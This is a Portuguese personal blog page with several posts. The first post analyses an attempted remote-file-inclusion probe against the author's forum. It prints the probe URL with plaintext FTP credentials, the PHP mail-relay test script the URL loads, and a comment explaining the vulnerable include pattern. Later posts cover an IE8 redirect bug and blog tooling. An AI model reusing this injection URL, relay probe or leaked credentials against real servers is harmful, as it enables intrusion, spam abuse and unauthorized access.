(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Alguém procurando uma vulnerabilidade no meu fórum

Hoje um visitante acessou meu fórum usando o seguinte URL:

https://ryan.com.br/smf/index.php?topic=ftp://kchopita10:k2k2k2@ftp.xpg.com.br/test.php?

Esse evidentemente não é um URL válido do SMF e deve estar mal intencionado, querendo explorar uma possível falha no fórum.

Alguém sabe qual seria a provável intenção do sujeito com um URL assim?

7 comentários
  • Jefferson - 6.606 Comentários

    Humm… aparentemente é um teste para ver se ele consegue mandar e-mails pelo meu servidor. O conteúdo de "test.php" é este:

    <?php
    ini_set("max_execution_time",-1);
    set_time_limit(0);
    $remetente = "";
    $assunto = "box";
    $email1 = "sc5101@live.com;somente007@gmail.com";
    $headers = "MIME-Version: 1.0rn";
    $headers .= "Content-type: text/html; charset=iso-8859-1rn";
    $headers .= "From: dadadadada $remetentern";
    $headers .= "Bcc: $remetentern";
    $html = "teste5555";if(mail($email1, $assunto, $html . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){
    echo "Opa, enviado!";
    exit();
    }
    else{
    echo "Nao enviei..";
    exit();
    }
    ?>

    "kchopita10" é usuário
    "k2k2k2" é senha.

    O mais interessante é ver que o autor disso parece ter acesso à raiz FTP de xpg.com.br.

    Mas eu usei as mesmas credenciais em um programa de FTP e só existem dois arquivos lá.

  • O usuario dele, em xpg.com.br deve estar com chroot no diretorio. Dessa forma o diretorio dele fica como sendo o raiz da conta. Ele nao consegue voltar niveis, apenas avançar.

  • É que tem muito site que usa o formato ?pagina=clientes.php por exemplo…
    E no source usa include($_GET["pagina"])… E o include suporta endereços http…

  • Vi que vc deixou uma mensagem pra o cidadão no arquivo test.php Ryan, :)

  • Jefferson - 6.606 Comentários

    Eu pensei em apagar, mas depois vi que assim ficava mais divertido. :)
    E se ele estiver usando um programa totalmente automatizado, pode levar um tempo até perceber que não funciona mais ;)

  • Jefferson - 6.606 Comentários

    Procurando no Google pela string
    echo "Opa, enviado!";

    Descobri que isso vem sendo usado há muito tempo, de diversas formas (não apenas usando FTP e não é um ataque dirigido ao SMF) como se pode ver por este post de 2007:

    http://groups.google.com/group/cfbrasil/browse_thread/thread/60e8702232ac92dd?pli=1

    Também se pode ver que o script está hospedado em diversos sites, de onde pode ser usado livremente por qualquer um.

  • Isso é um script pra ver se ta chegando "inbox", se chegar ótima máquina pro spam

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] ryan.com.br agora faz parte do Project HoneyPot

Na minha constante luta para proteger meu trabalho dos spammers, ryan.com.br agora faz parte do Project HoneyPot.

http://www.projecthoneypot.org/

   


Liked by: Glauco Heitor, Cesar Machado

2 comentários
Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Faz meses que meu site está apresentando problemas quando visualizado com IE8

Já faz meses que eu notei que meu site está apresentando problemas quando visualizado usando o Internet Explorer, mas quando eu tenho tempo, não me lembro do problema.

O sintoma é o seguinte:

+Usando o IE8, acesse https://ryan.com.br

+Aparecerá uma mensagem minha dizendo que você vai ser redirecionado.

+O IE8 vai tentar abrir a nova frontpage do meu site em https://ryan.com.br/wp/

+Vai aparecer a mensagem "Operação Anulada" e a página não será exibida.

Isso não acontece com todas as as instalações do IE. Neste exato momento eu estou no notebook de um cliente, usando IE 8.0.7600.16385 e o problema acontece. Mas é possível que outra pessoa com esta exata versão consiga seguir esses passos sem dar erro.

20 comentários
  • Aqui não aconteceu isso. A pagina foi carregada normalmente.

    Windows XP SP3

    IE 8.0.6001.18702

  • Se seu provedor/servidor aceitar PHP, dá pra fazer o redirecionamento de forma transparente, imediata e sem problemas de compatibilidade:

    <?php header("Location:https://ryan.com.br/wp/"); ?>

  • Jefferson - 6.606 Comentários

    Hummmm… eu não achei relevante na hora, mas agora vejo que pode ser. Este notebook está rodando Windows Seven.

    Carlos, eu vou testar isso quando parar para analisar o problema. Eu tive uma razão para fazer do jeito específico que fiz, mas não consigo lembrar o motivo agora. Me lembro vagamente de que pode ter algo a ver com "passar uma mensagem" para o spider da Google.

  • Fiz o passo-a-passo e abriu seu site normalmente.

    IE 8.0.7600.16385

  • Ryan, algum motivo em especial pra não usar o WP na raiz do site?

    Outra coisa, eu faria o redirecionamento direto por .htaccess, que é transparente e leva o usuário direto pra onde interessa.

    O código do arquivo ficaria assim:

    #RedirectMatch permanent ^/$ http://www.ryan.com.br/wp

    Options +FollowSymlinks

    RewriteEngine on

    RewriteCond %{HTTP_HOST} ^ryan.com.br$ [OR]

    RewriteCond %{HTTP_HOST} ^http://www.ryan.com.br$ [NC]

    RewriteRule .* http://www.ryan.com.br/wp

  • Jefferson - 6.606 Comentários

    Alexandre,

    Sobre usar o WP na raiz:

    Eu ponderei bastante sobre isso na hora de instalar o programa. Se fosse um site novo, eu provavelmente o teria colocado na raiz, mas o meu site existe há uma década e tem uma estrutura de diretórios que ia se misturar com os diretórios do WP. Eu posso ter tido um outro motivo, mas é só desse que me lembro agora.

    Sobre o uso de .htaccess

    Eu tentei, meses atrás. Mas tive problemas.

    O mais sério, que me vem à mente agora, é que eu hospedo não apenas o meu domínio nessa conta. Alguns domínios de clientes dividem o mesmo espaço, sendo que ryan.com.br é o domínio "master". Todas as minhas tentativas de redirecionar a raiz via htacess criaram um ou outro problema, sendo que os mais sérios foram com meus domínios adicionais. Eu acredito que isso pode ser contornado, mas cada um dos vários tutoriais que segui falhou de um jeito ou de outro.

    Um problema secundário é que, dependendo da regra, eu teria que mover todos os meus arquivos de imagens e downloads para dentro de /wp/. E são várias centenas, com links espalhados pela internet que eu não quero ver quebrados.

    Eu estou usando htaccess na raiz desde que instalei o WP, mas com umas duas centenas de redirecionamentos individuais apontando as antigas páginas estáticas (somente os textos) para endereços do WP.

  • Jefferson - 6.606 Comentários

    Estou testando no notebook da minha mãe. São duas instalações do Seven, com a mesma versão do IE (8.0.7600.16385)

    Seven 32 bits – dá erro

    Seven 64 bits – redireciona normalmente.

  • Jefferson - 6.606 Comentários

    Testei no meu PC, que tem múltiplos boots:

    Seven 32 bits RC1 (IE 8.0.7100-0) – Dá erro

    Seven 64 bits (IE 8.0.7600.16385) – Dá erro

  • Seven 64 bits (IE 8.0.7600.16385) – Normal. PC de casa.

  • Jefferson - 6.606 Comentários

    Eu já havia até me esquecido desse problema. Aí fui acessar meu site da rua e… "Operação Anulada!"

    Removi o adsense no cabeçalho da página para testar se é isso.

  • Jefferson - 6.606 Comentários

    Reapliquei o adsense, abaixo do banner do site, que é onde deveria ter sido colocado por mim desde o início.

    Para referência futura: tive que editar o arquivo header.php do tema, usando o menu Aparência->Editor

  • Jefferson, além do problema ser o IE (heheheh), me parece que seu problema pode ser no tema, ou em algum javascript mal feito ;-)

    Pesquisando no google, tem algumas coisas que podem te ajudar
    http://www.google.com.br/search?hl=pt-BR&q=wordpress+operacao+anulada&meta=

    PS: Se for redirecionar uma página, use por <meta http-equiv="refresh" content="0;URL=/site/"/> ao invés de usar javascript. Ou por headers 301 ou Location, ex: <?php header("Location: /site");?>

  • Jefferson - 6.606 Comentários

    "PS: Se for redirecionar uma página, use por <meta http-equiv="refresh" content="0;URL=/site/"/> ao invés de usar javascript. "

    Não entendi. Onde você viu javascript?

  • Não vi. Na verdade o erro do IE é normalmente relacionado a isto, ou a manipulações de janelas pai pela janela filha…

    PS: Você não dorme não?

  • Jefferson - 6.606 Comentários

    Pergunta estranha para ser feita às 05:18 da manhã… ;)

  • Jefferson - 6.606 Comentários

    O problema persiste. Terei que fazer mudanças mais drásticas.

    O danado é que o acesso ao meu site está instável desde a madrugada de hoje.

  • Jefferson - 6.606 Comentários

    Atualizei o wordpress para a versão 3.1-pt_br.

    Eu reluto em fazer essas atualizações porque sempre quebra minhas customizações. E eu nunca lembro que customizações foram essas :(

    Agora é esperar para ver onde o site vai "quebrar".

  • Jefferson - 6.606 Comentários

    Já quebrou.

    O DB Cache Reloaded não funciona mais e tem que ser consertado manualmente.

    E o problema original com o IE8 não foi resolvido.

  • Jefferson - 6.606 Comentários

    Atualizei o tema. Desfez diversas personalizações minhas. Vou consertar isso depois.

    O problema do IE persistiu.

    Desliguei o plugin WP Google-buzz, porque agora a mensagem de operação anulada é exibida enquanto o IE exibe na barra de status que está carregando elementos da Google. Parece que o plugin ainda está no cache, porque o ícone do Buzz ainda aparece no site. Vou esperar para ver…

  • Jefferson - 6.606 Comentários

    Desliguei o WP Super Cache. O ícone do Buzz finalmente sumiu e o problema com o IE foi resolvido.

    Mas não sei ainda quem foi o culpado. Pode ser:

    Erro no WP Google-buzz <- acho o mais provável
    Erro no WP Super Cache
    Alguma outra coisa onde mexi hoje, mas que o WP Super Cache mascarou

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Estou testando o novo sistema de templates do Blogger,

Estou testando o novo sistema de templates do Blogger, seguindo a dica de Rodrigo Ghedin:

http://www.meiobit.com/meio-bit/blog/blogger-estreia-novo-sistema-de-templates

A diferença mais importante para mim é que no novo sistema a largura das colunas é ajustável visualmente. Nos templates normais do blogger a largura da coluna esquerda é pequena demais para acomodar minhas imagens e editar manualmente o código do template para mudar isso requer muita paciência.

O G&G já está com novo template. Pelo menos eu me livrei daquele problema irritante da imagem de título deslocada para a direita.


Liked by: Luis Santos

2 comentários
  • Jefferson - 6.606 Comentários

    Não sei se é porque meus monitores LCD não tem constraste suficiente, mas a escolha de cores default para o novo template deixou os links quase invisíveis. Estou tentando consertar.

  • Jefferson - 6.606 Comentários

    Usando Firefox+Noscript está difícil conseguir abrir o novo editor. No IE6 também deu pau. Só está funcionando mais ou menos bem no Chrome. Por que será? ;)

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »